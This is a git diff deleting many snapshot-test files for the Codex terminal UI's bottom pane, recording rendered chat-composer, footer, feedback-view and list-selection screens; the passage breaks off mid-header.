a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__multiple_pastes.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__multiple_pastes.snap deleted file mode 100644 index b50c6f1009..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__multiple_pastes.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› [Pasted Content 1003 chars][Pasted Content 1007 chars] another short paste " -" " -" " -" " -" " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__plugin_mention_popup.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__plugin_mention_popup.snap deleted file mode 100644 index 6dad755c1c..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__plugin_mention_popup.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› $sa " -" " -" " -" " -" " -" Sample Plugin [Plugin] Plugin that includes the Figma MCP server and Skills for common workflows " -" " -" Press enter to insert or esc to close " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows.snap deleted file mode 100644 index e4228866cd..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -" [Image #1] " -" [Image #2] " -" " -"› describe these " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows_after_delete_first.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows_after_delete_first.snap deleted file mode 100644 index f8a3e28454..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows_after_delete_first.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -" [Image #1] " -" " -"› describe these " -" " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows_selected.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows_selected.snap deleted file mode 100644 index e4228866cd..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows_selected.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -" [Image #1] " -" [Image #2] " -" " -"› describe these " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__slash_popup_mo.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__slash_popup_mo.snap deleted file mode 100644 index 61f4c3b7e7..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__slash_popup_mo.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› /mo " -" " -" " -" /model choose what model and reasoning effort to use " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__slash_popup_res.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__slash_popup_res.snap deleted file mode 100644 index 4fc9f5fd40..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__slash_popup_res.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› /res " -" " -" " -" " -" /resume resume a saved chat " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__small.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__small.snap deleted file mode 100644 index 834a355851..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__small.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› short " -" " -" " -" " -" " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_bad_result.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_bad_result.snap deleted file mode 100644 index 5520516650..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_bad_result.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/feedback_view.rs -expression: rendered ---- -▌ Tell us more (bad result) -▌ -▌ (optional) Write a short description to help us further - -Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_bug.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_bug.snap deleted file mode 100644 index 351eaf504b..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_bug.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/feedback_view.rs -expression: rendered ---- -▌ Tell us more (bug) -▌ -▌ (optional) Write a short description to help us further - -Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_good_result.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_good_result.snap deleted file mode 100644 index 82fef23a3e..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_good_result.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/feedback_view.rs -expression: rendered ---- -▌ Tell us more (good result) -▌ -▌ (optional) Write a short description to help us further - -Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_other.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_other.snap deleted file mode 100644 index 70265e0e91..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_other.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/feedback_view.rs -expression: rendered ---- -▌ Tell us more (other) -▌ -▌ (optional) Write a short description to help us further - -Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_safety_check.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_safety_check.snap deleted file mode 100644 index c8898d71eb..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_safety_check.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/feedback_view.rs -expression: rendered ---- -▌ Tell us more (safety check) -▌ -▌ (optional) Share what was refused and why it should have b - -Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_with_connectivity_diagnostics.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_with_connectivity_diagnostics.snap deleted file mode 100644 index 351eaf504b..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_with_connectivity_diagnostics.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/feedback_view.rs -expression: rendered ---- -▌ Tell us more (bug) -▌ -▌ (optional) Write a short description to help us further - -Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_active_agent_label.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_active_agent_label.snap deleted file mode 100644 index 25d183281d..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_active_agent_label.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" Robie [explorer] 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_composer_has_draft_queue_hint_enabled.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_composer_has_draft_queue_hint_enabled.snap deleted file mode 100644 index 62dc7c7fcb..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_composer_has_draft_queue_hint_enabled.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" tab to queue message 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_context_tokens_used.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_context_tokens_used.snap deleted file mode 100644 index 4e297880e9..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_context_tokens_used.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" ? for shortcuts 123K used " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_ctrl_c_quit_idle.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_ctrl_c_quit_idle.snap deleted file mode 100644 index 92daa50b65..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_ctrl_c_quit_idle.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" ctrl + c again to quit " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_ctrl_c_quit_running.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_ctrl_c_quit_running.snap deleted file mode 100644 index 92daa50b65..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_ctrl_c_quit_running.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" ctrl + c again to quit " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_esc_hint_idle.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_esc_hint_idle.snap deleted file mode 100644 index 22e7910873..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_esc_hint_idle.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" esc esc to edit previous message " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_esc_hint_primed.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_esc_hint_primed.snap deleted file mode 100644 index 7a866f5f51..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_esc_hint_primed.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" esc again to edit previous message " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_narrow_overlap_hides.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_narrow_overlap_hides.snap deleted file mode 100644 index 52b7e99a33..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_narrow_overlap_hides.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" Plan mode (shift+tab to cycle) " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_running_hides_hint.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_running_hides_hint.snap deleted file mode 100644 index d0835b1752..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_running_hides_hint.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" ? for shortcuts · Plan mode 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_wide.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_wide.snap deleted file mode 100644 index ecff8cbf5d..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_wide.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" ? for shortcuts · Plan mode (shift+tab to cycle) 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_collaboration_modes_enabled.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_collaboration_modes_enabled.snap deleted file mode 100644 index 2377689536..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_collaboration_modes_enabled.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" / for commands ! for shell commands " -" ctrl + j for newline tab to queue message " -" @ for file paths ctrl + v to paste images " -" ctrl + g to edit in external editor esc esc to edit previous message " -" ctrl + c to exit shift + tab to change mode " -" ctrl + t to view transcript " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_context_running.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_context_running.snap deleted file mode 100644 index 928d18a1af..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_context_running.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" ? for shortcuts 72% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_default.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_default.snap deleted file mode 100644 index 30db9b7bb1..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_default.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" ? for shortcuts 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_shift_and_esc.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_shift_and_esc.snap deleted file mode 100644 index d66a91abfe..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_shift_and_esc.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" / for commands ! for shell commands " -" shift + enter for newline tab to queue message " -" @ for file paths ctrl + v to paste images " -" ctrl + g to edit in external editor esc again to edit previous message " -" ctrl + c to exit " -" ctrl + t to view transcript " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_disabled_context_right.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_disabled_context_right.snap deleted file mode 100644 index b592f1d39b..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_disabled_context_right.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" ? for shortcuts · Plan mode (shift+tab to cycle) 50% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_enabled_mode_right.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_enabled_mode_right.snap deleted file mode 100644 index 1aa1f91c0c..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_enabled_mode_right.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" Plan mode (shift+tab to cycle) " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_enabled_no_mode_right.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_enabled_no_mode_right.snap deleted file mode 100644 index bb63b69fc5..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_enabled_no_mode_right.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_overrides_draft_idle.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_overrides_draft_idle.snap deleted file mode 100644 index 26784d8b77..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_overrides_draft_idle.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" Status line content " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_overrides_shortcuts.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_overrides_shortcuts.snap deleted file mode 100644 index 26784d8b77..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_overrides_shortcuts.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" Status line content " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_truncated_with_gap.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_truncated_with_gap.snap deleted file mode 100644 index d2fac2b688..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_truncated_with_gap.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" Status line content that … Plan mode " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_with_active_agent_label.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_with_active_agent_label.snap deleted file mode 100644 index de31dac4b3..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_with_active_agent_label.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" Status line content · Robie [explorer] " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_yields_to_queue_hint.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_yields_to_queue_hint.snap deleted file mode 100644 index 62dc7c7fcb..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_yields_to_queue_hint.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/footer.rs -expression: terminal.backend() ---- -" tab to queue message 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_all_rows_scroll.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_all_rows_scroll.snap deleted file mode 100644 index 6f2758db80..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_all_rows_scroll.snap +++ /dev/null @@ -1,30 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/list_selection_view.rs -expression: "render_before_after_scroll_snapshot(ColumnWidthMode::AutoAllRows, 96)" ---- -before scroll: - - Debug - -› 1. Item 1 desc 1 - 2. Item 2 desc 2 - 3. Item 3 desc 3 - 4. Item 4 desc 4 - 5. Item 5 desc 5 - 6. Item 6 desc 6 - 7. Item 7 desc 7 - 8. Item 8 desc 8 - - -after scroll: - - Debug - - 2. Item 2 desc 2 - 3. Item 3 desc 3 - 4. Item 4 desc 4 - 5. Item 5 desc 5 - 6. Item 6 desc 6 - 7. Item 7 desc 7 - 8. Item 8 desc 8 -› 9. Item 9 with an intentionally much longer name desc 9 diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_visible_scroll.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_visible_scroll.snap deleted file mode 100644 index 290236271c..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_visible_scroll.snap +++ /dev/null @@ -1,30 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/list_selection_view.rs -expression: "render_before_after_scroll_snapshot(ColumnWidthMode::AutoVisible, 96)" ---- -before scroll: - - Debug - -› 1. Item 1 desc 1 - 2. Item 2 desc 2 - 3. Item 3 desc 3 - 4. Item 4 desc 4 - 5. Item 5 desc 5 - 6. Item 6 desc 6 - 7. Item 7 desc 7 - 8. Item 8 desc 8 - - -after scroll: - - Debug - - 2. Item 2 desc 2 - 3. Item 3 desc 3 - 4. Item 4 desc 4 - 5. Item 5 desc 5 - 6. Item 6 desc 6 - 7. Item 7 desc 7 - 8. Item 8 desc 8 -› 9. Item 9 with an intentionally much longer name desc 9 diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap deleted file mode 100644 index 5de38b09bf..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap +++ /dev/null @@ -1,30 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/list_selection_view.rs -expression: "render_before_after_scroll_snapshot(ColumnWidthMode::Fixed, 96)" ---- -before scroll: - - Debug - -› 1. Item 1 desc 1 - 2. Item 2 desc 2 - 3. Item 3 desc 3 - 4. Item 4 desc 4 - 5. Item 5 desc 5 - 6. Item 6 desc 6 - 7. Item 7 desc 7 - 8. Item 8 desc 8 - - -after scroll: - - Debug - - 2. Item 2 desc 2 - 3. Item 3 desc 3 - 4. Item 4 desc 4 - 5. Item 5 desc 5 - 6. Item 6 desc 6 - 7. Item 7 desc 7 - 8. Item 8 desc 8 -› 9. Item 9 with an intent… desc 9 diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_footer_note_wraps.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_footer_note_wraps.snap deleted file mode 100644 index 6b64eceba2..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_footer_note_wraps.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/list_selection_view.rs -expression: "render_lines_with_width(&view, 40)" ---- - - Select Approval Mode - -› 1. Read Only (current) Codex can - read files - - Note: Use /setup-default-sandbox to - allow network access. - Press enter to confirm or esc to go ba diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_model_picker_width_80.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_model_picker_width_80.snap deleted file mode 100644 index 22dd3a3855..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_model_picker_width_80.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/list_selection_view.rs -expression: "render_lines_with_width(&view, 80)" ---- - - Select Model and Effort - -› 1. gpt-5.1-codex (current) Optimized for Codex. Balance of reasoning - quality and coding ability. - 2. gpt-5.1-codex-mini Optimized for Codex. Cheaper, faster, but less - capable. - 3. gpt-4.1-codex Legacy model. Use when you need compatibility - with older automations. diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_narrow_width_preserves_rows.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_narrow_width_preserves_rows.snap deleted file mode 100644 index 8ef181abcf..0000000000 --- 